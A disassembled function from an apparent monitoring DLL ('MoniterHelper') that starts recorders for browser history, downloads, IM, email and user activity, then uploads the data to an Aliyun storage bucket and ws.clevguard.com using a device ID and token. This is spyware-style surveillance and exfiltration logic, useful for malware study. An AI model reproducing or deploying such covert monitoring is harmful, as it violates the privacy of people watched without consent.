Function at 0x1006fd40
Capabilities:
Get session user name
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x135c
call fcn.101516a0
mov eax, dword [0x101ac034]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x10175b48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x1148], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x11b4], eax
cmp dword [ebp - 0x1148], 0
je 0x1006fd8d
cmp dword [ebp - 0x11b4], 0xb7
jne 0x1006fdb5
push str.MONITER_MUTEX_x32
push str.already_exist___s_
push 1
push 0xad
push 0x10175bb8
push 0x10175c04
call fcn.10146290
add esp, 0x18
jmp 0x10070d2a
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push 3
call dword [sym.imp.libcurl.dll_curl_global_init]
add esp, 4
push 0x10175c20
lea ecx, [ebp - 0x1094]
call fcn.100029e0
xor eax, eax
mov word [ebp - 0x1004], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x1002]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [ebp - 0x1038], 0x400
lea edx, [ebp - 0x1038]
push edx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1288], esp
push 0x10175c64
call fcn.10003d50
lea ecx, [ebp - 0x1124]
push ecx
call fcn.100fd100
add esp, 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11ec], esp
push str.dataDB
call fcn.10003d50
lea edx, [ebp - 0x110c]
push edx
call fcn.100fd100
add esp, 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11f4], esp
push str.Log
call fcn.10003d50
lea eax, [ebp - 0x10dc]
push eax
call fcn.100fd100
add esp, 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11fc], esp
push 0x10175c90
call fcn.10003d50
lea ecx, [ebp - 0x10c4]
push ecx
call fcn.100fd100
add esp, 0x1c
call fcn.10039680
mov dword [ebp - 0x1188], eax
mov edx, dword [ebp - 0x1188]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1188]
mov edx, dword [eax]
call edx
call fcn.1006ec80
mov dword [ebp - 0x1198], eax
mov eax, dword [ebp - 0x1198]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1198]
mov eax, dword [edx]
call eax
call fcn.1003fcd0
mov dword [ebp - 0x1154], eax
mov ecx, dword [ebp - 0x1154]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1154]
mov eax, dword [edx]
call eax
call fcn.100425d0
mov dword [ebp - 0x1194], eax
mov ecx, dword [ebp - 0x1194]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1194]
mov eax, dword [edx]
call eax
call fcn.1006ed00
mov dword [ebp - 0x115c], eax
mov ecx, dword [ebp - 0x115c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x115c]
mov eax, dword [edx]
call eax
call fcn.1006ed80
mov dword [ebp - 0x117c], eax
mov ecx, dword [ebp - 0x117c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x117c]
mov eax, dword [edx]
call eax
call fcn.1006ee00
mov dword [ebp - 0x1164], eax
mov ecx, dword [ebp - 0x1164]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1164]
mov eax, dword [edx]
call eax
call fcn.1006ee80
mov dword [ebp - 0x118c], eax
mov ecx, dword [ebp - 0x118c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x118c]
mov eax, dword [edx]
call eax
call fcn.1006ef00
mov dword [ebp - 0x116c], eax
mov ecx, dword [ebp - 0x116c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x116c]
mov eax, dword [edx]
call eax
call fcn.1006ef80
mov dword [ebp - 0x1184], eax
mov ecx, dword [ebp - 0x1184]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1184]
mov eax, dword [edx]
call eax
call fcn.1006f000
mov dword [ebp - 0x1174], eax
mov ecx, dword [ebp - 0x1174]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1174]
mov eax, dword [edx]
call eax
call fcn.1003ec30
mov dword [ebp - 0x1150], eax
mov ecx, dword [ebp - 0x1150]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1150]
mov eax, dword [edx]
call eax
call fcn.1004aa90
mov dword [ebp - 0x1158], eax
mov ecx, dword [ebp - 0x1158]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1158]
mov eax, dword [edx]
call eax
call fcn.1006f080
mov dword [ebp - 0x1160], eax
mov ecx, dword [ebp - 0x1160]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1160]
mov eax, dword [edx]
call eax
call fcn.1004c720
mov dword [ebp - 0x1168], eax
mov ecx, dword [ebp - 0x1168]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1168]
mov eax, dword [edx]
call eax
call fcn.1006f190
mov dword [ebp - 0x1170], eax
mov ecx, dword [ebp - 0x1170]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1170]
mov eax, dword [edx]
call eax
call fcn.1001ef80
mov dword [ebp - 0x1178], eax
mov ecx, dword [ebp - 0x1178]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1178]
mov eax, dword [edx]
call eax
call fcn.10046720
mov dword [ebp - 0x1180], eax
mov ecx, dword [ebp - 0x1180]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1180]
mov eax, dword [edx]
call eax
call fcn.100470d0
mov dword [ebp - 0x114c], eax
mov ecx, dword [ebp - 0x114c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x114c]
mov eax, dword [edx]
call eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1204], esp
lea edx, [ebp - 0x10dc]
push edx
call fcn.10004030
call fcn.100fd4a0
add esp, 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x120c], esp
lea eax, [ebp - 0x1124]
push eax
call fcn.10004030
call fcn.100fd4a0
add esp, 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1214], esp
lea edx, [ebp - 0x110c]
push edx
call fcn.10004030
call fcn.100fd4a0
add esp, 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x121c], esp
lea eax, [ebp - 0x10c4]
push eax
call fcn.10004030
call fcn.100fd4a0
add esp, 0x18
call fcn.100241b0
mov ecx, eax
call fcn.100018d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1224], esp
push str.configure.dat
call fcn.10003d50
call fcn.100017e0
mov ecx, eax
call fcn.100f9ad0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x122c], esp
push ecx
call fcn.100fd7a0
add esp, 4
lea ecx, [ebp - 0x101c]
call fcn.1007d260
add esp, 0x18
lea edx, [ebp - 0x1070]
push edx
call fcn.100fd6a0
add esp, 4
push 0
call fcn.1001bcd0
add esp, 4
push eax
lea eax, [ebp - 0x10ac]
push eax
call fcn.10035640
add esp, 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x125c], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1264], esp
push str.EdgeRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x126c], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1274], esp
push str.ChromeRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x127c], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1284], esp
push str.IERecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x128c], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1294], esp
push str.OperaRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x129c], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1238], esp
push str.FirefoxRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11c8], esp
lea eax, [ebp - 0x10ac]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1270], esp
push str.UserOperate
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11d0], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1248], esp
push str.IEDownload
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11d8], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11c0], esp
push str.EdgeDownload
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11e0], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1250], esp
push str.ChromeDownload
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11e8], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1278], esp
push str.OperaDownload
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11f0], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1258], esp
push str.FirefoxDownload
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11f8], esp
lea eax, [ebp - 0x1070]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1298], esp
push 0x10175d70
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1200], esp
lea edx, [ebp - 0x1070]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1260], esp
push str.ImRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1208], esp
lea eax, [ebp - 0x1070]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1280], esp
push str.EmailRecord
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1210], esp
push 0x10175d94
call fcn.100029e0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1268], esp
push str.UserLog
call fcn.100029e0
call fcn.1006f610
add esp, 0x30
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1218], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1234], esp
push str.CHandleChromeRecordEvent
call fcn.100029e0
call fcn.100017e0
mov ecx, eax
call fcn.100f9bf0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1220], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x123c], esp
push str.CHandleEdgeRecordEvent
call fcn.100029e0
call fcn.100017e0
mov ecx, eax
call fcn.100f9bf0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1228], esp
lea edx, [ebp - 0x101c]
push edx
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1244], esp
push str.CHandleOperaRecordEvent
call fcn.100029e0
call fcn.100017e0
mov ecx, eax
call fcn.100f9bf0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1230], esp
lea eax, [ebp - 0x101c]
push eax
call fcn.1000d6d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x124c], esp
push str.CHandleFirefoxRecordEvent
call fcn.100029e0
call fcn.100017e0
mov ecx, eax
call fcn.100f9bf0
mov dword [ebp - 0x11ac], 0x10025100
lea ecx, [ebp - 0x11ac]
push ecx
lea ecx, [ebp - 0x12b4]
call fcn.10071020
lea edx, [ebp - 0x12b4]
push edx
call fcn.10024690
mov ecx, eax
call fcn.1010fa40
lea ecx, [ebp - 0x12b4]
call fcn.100208d0
mov dword [ebp - 0x119c], 0x100250d0
lea eax, [ebp - 0x119c]
push eax
lea ecx, [ebp - 0x12fc]
call fcn.10071090
lea ecx, [ebp - 0x12fc]
push ecx
call fcn.10024690
mov ecx, eax
call fcn.1010fa70
lea ecx, [ebp - 0x12fc]
call fcn.100208d0
mov dword [ebp - 0x11bc], 0x10042790
lea edx, [ebp - 0x11bc]
push edx
lea ecx, [ebp - 0x132c]
call fcn.10071100
lea eax, [ebp - 0x132c]
push eax
call fcn.10024690
mov ecx, eax
call fcn.1010fa90
lea ecx, [ebp - 0x132c]
call fcn.100208d0
push 0x27db
call fcn.10024690
mov ecx, eax
call fcn.1011c760
push str..pipeLineCutIpc
call fcn.1006f210
mov ecx, eax
call fcn.1005b840
call fcn.1006f210
mov ecx, eax
call fcn.1005b880
call fcn.10020220
call fcn.100202b0
call fcn.1006f460
call fcn.10074c90
call fcn.100018e0
mov ecx, eax
call fcn.10001c80
call fcn.1007c770
mov ecx, eax
call fcn.1007cd70
call fcn.10056df0
mov ecx, eax
call fcn.10057080
push 0
push 0x10057ad0
call fcn.1007c770
mov ecx, eax
call fcn.10073dc0
call fcn.10073d40
mov dword [ebp - 0x1190], eax
mov ecx, dword [ebp - 0x1190]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1190]
mov eax, dword [edx]
call eax
call fcn.100798c0
mov ecx, eax
call fcn.10079940
call fcn.1001f020
mov ecx, eax
call fcn.1001f0a0
call fcn.1005ba30
mov ecx, eax
call fcn.1005c150
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1254], esp
push 0x10175e30
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetHost_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1290], esp
push str.monivisor_datas
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetBucketName_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1240], esp
push str.https:__oss_us_west_1.aliyuncs.com
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetEndpoint_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
mov byte [ebp - 0x404], 0
push 0x3ff
push 0
lea ecx, [ebp - 0x403]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x1094]
call fcn.10001f00
push eax
push 0x400
lea edx, [ebp - 0x404]
push edx
push 0
push 0x10175e80
push 0x10175e8c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [ebp - 0x804], 0
push 0x3ff
push 0
lea eax, [ebp - 0x803]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x1094]
call fcn.10001f00
push eax
push 0x400
lea ecx, [ebp - 0x804]
push ecx
push 0
push str.token
push 0x10175e9c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x804]
push edx
lea eax, [ebp - 0x404]
push eax
push str.deviceId:__s__token:__s
push 1
push 0x135
push 0x10175ebc
push 0x10175ee4
call fcn.10145f00
add esp, 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11c4], esp
lea edx, [ebp - 0x404]
push edx
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetDeviceId_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11cc], esp
lea eax, [ebp - 0x804]
push eax
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetToken_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
call fcn.1006f940
mov byte [ebp - 0x1141], al
movzx ecx, byte [ebp - 0x1141]
test ecx, ecx
jne 0x100708b1
push str.GetAutoRecordConfig_Error
push 3
push 0x144
push 0x10175f10
push 0x10175f38
call fcn.10145f00
add esp, 0x14
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1034], xmm0
xor edx, edx
mov dword [ebp - 0x102c], edx
mov dword [ebp - 0x1028], edx
mov dword [ebp - 0x1024], edx
mov dword [ebp - 0x1020], edx
lea eax, [ebp - 0x1034]
push eax
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_bool___thiscall_CNetManager::GetStorageDetail_struct_StorageContext__]
mov byte [ebp - 0x1141], al
movzx ecx, byte [ebp - 0x1141]
test ecx, ecx
jne 0x1007091b
push str.GetStorageDetail_Error
push 3
push 0x14b
push 0x10175f60
push 0x10175f88
call fcn.10145f00
add esp, 0x14
mov edx, dword [ebp - 0x1030]
push edx
mov eax, dword [ebp - 0x1034]
push eax
push str.UserTotalStorageSize___lld
push 1
push 0x14d
push 0x10175fb4
push 0x10175fdc
call fcn.10145f00
add esp, 0x1c
mov ecx, dword [ebp - 0x1028]
push ecx
mov edx, dword [ebp - 0x102c]
push edx
push str.UserUsedSize___lld
push 1
push 0x14e
push 0x10176000
push 0x10176028
call fcn.10145f00
add esp, 0x1c
mov eax, dword [ebp - 0x1030]
push eax
mov ecx, dword [ebp - 0x1034]
push ecx
call fcn.100252d0
mov ecx, eax
call fcn.10073cf0
mov edx, dword [ebp - 0x1028]
push edx
mov eax, dword [ebp - 0x102c]
push eax
call fcn.100252d0
mov ecx, eax
call fcn.10073ca0
call fcn.1006f360
mov dword [ebp - 0x11b0], eax
lea ecx, [ebp - 0x11b0]
push ecx
push 0x100301d8
lea edx, [ebp - 0x1048]
push edx
call fcn.100275f0
add esp, 0xc
call fcn.1006f360
mov dword [ebp - 0x11a8], eax
lea eax, [ebp - 0x11a8]
push eax
push fcn.1004b500
lea ecx, [ebp - 0x1040]
push ecx
call fcn.100275f0
add esp, 0xc
call fcn.1006f3e0
mov dword [ebp - 0x11b8], eax
lea edx, [ebp - 0x11b8]
push edx
push 0x100301d8
lea eax, [ebp - 0x1050]
push eax
call fcn.100275f0
add esp, 0xc
call fcn.1006f360
mov dword [ebp - 0x11a0], eax
lea ecx, [ebp - 0x11a0]
push ecx
push 0x1004b4c0
lea edx, [ebp - 0x1058]
push edx
call fcn.100275f0
add esp, 0xc
call fcn.10023cc0
mov dword [ebp - 0x11a4], eax
mov eax, dword [sym.imp.MSVCP120.dll_class_std::_Ph_1__std::placeholders::_1]
push eax
lea ecx, [ebp - 0x11a4]
push ecx
push 0x100301dc
lea edx, [ebp - 0x107c]
push edx
call fcn.10071170
add esp, 0x10
lea eax, [ebp - 0x1048]
push eax
lea ecx, [ebp - 0x135c]
call fcn.100711b0
lea ecx, [ebp - 0x135c]
push ecx
call fcn.1001dfe0
mov ecx, eax
call fcn.10105bd0
lea ecx, [ebp - 0x135c]
call fcn.100208d0
lea edx, [ebp - 0x1040]
push edx
lea ecx, [ebp - 0x12e4]
call fcn.10071220
lea eax, [ebp - 0x12e4]
push eax
call fcn.1001dfe0
mov ecx, eax
call fcn.10105c00
lea ecx, [ebp - 0x12e4]
call fcn.100208d0
lea ecx, [ebp - 0x1050]
push ecx
lea ecx, [ebp - 0x1344]
call fcn.10071290
lea edx, [ebp - 0x1344]
push edx
call fcn.1001dfe0
mov ecx, eax
call fcn.10105c30
lea ecx, [ebp - 0x1344]
call fcn.100208d0
lea eax, [ebp - 0x1058]
push eax
lea ecx, [ebp - 0x1314]
call fcn.100711b0
lea ecx, [ebp - 0x1314]
push ecx
call fcn.1001dfe0
mov ecx, eax
call fcn.10105c60
lea ecx, [ebp - 0x1314]
call fcn.100208d0
lea edx, [ebp - 0x107c]
push edx
lea ecx, [ebp - 0x12cc]
call fcn.10071300
lea eax, [ebp - 0x12cc]
push eax
call fcn.1001dfe0
mov ecx, eax
call fcn.10105ba0
lea ecx, [ebp - 0x12cc]
call fcn.100208d0
lea ecx, [ebp - 0x404]
push ecx
push str.__userIdpc__s
lea edx, [ebp - 0x10f4]
push edx
call fcn.1007ceb0
add esp, 0xc
push 0x2529
call fcn.1001dfe0
mov ecx, eax
call fcn.10105b80
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11d4], esp
push str.ws.clevguard.com
call fcn.100029e0
call fcn.1001dfe0
mov ecx, eax
call fcn.101057d0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11dc], esp
lea eax, [ebp - 0x10f4]
push eax
call fcn.1000d6d0
call fcn.1001dfe0
mov ecx, eax
call fcn.10105b20
call fcn.1001dfe0
mov ecx, eax
call fcn.101052e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::Run_void_]
call fcn.10023c40
mov ecx, eax
call fcn.100264a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::RefreshUserToken_void_]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x11e4], esp
lea edx, [ebp - 0x404]
push edx
call fcn.100029e0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::StartHeartbeat_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
push str.Dll_init_success_
push 1
push 0x173
push str..._srcMoniterHelperMonitorMain.cpp
push 0x10176098
call fcn.10145f00
add esp, 0x14
call fcn.1006f500
push 0
push 0
push 0
lea eax, [ebp - 0x1140]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x10070c94
lea ecx, [ebp - 0x1140]
push ecx
push 0
mov edx, dword [ebp - 0x1140]
push edx
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x10070c92
lea eax, [ebp - 0x1140]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x1140]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x10070c47
call dword [sym.imp.libcurl.dll_curl_global_cleanup]
cmp dword [ebp - 0x1148], 0
je 0x10070cc7
mov edx, dword [ebp - 0x1148]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x1148]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1148], 0
lea ecx, [ebp - 0x10f4]
call fcn.10001f50
lea ecx, [ebp - 0x10ac]
call fcn.10001f50
lea ecx, [ebp - 0x1070]
call fcn.10001f50
lea ecx, [ebp - 0x101c]
call fcn.10001f50
lea ecx, [ebp - 0x10c4]
call fcn.10003e00
lea ecx, [ebp - 0x10dc]
call fcn.10003e00
lea ecx, [ebp - 0x110c]
call fcn.10003e00
lea ecx, [ebp - 0x1124]
call fcn.10003e00
lea ecx, [ebp - 0x1094]
call fcn.10001f50
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101506bb
mov esp, ebp
pop ebp
ret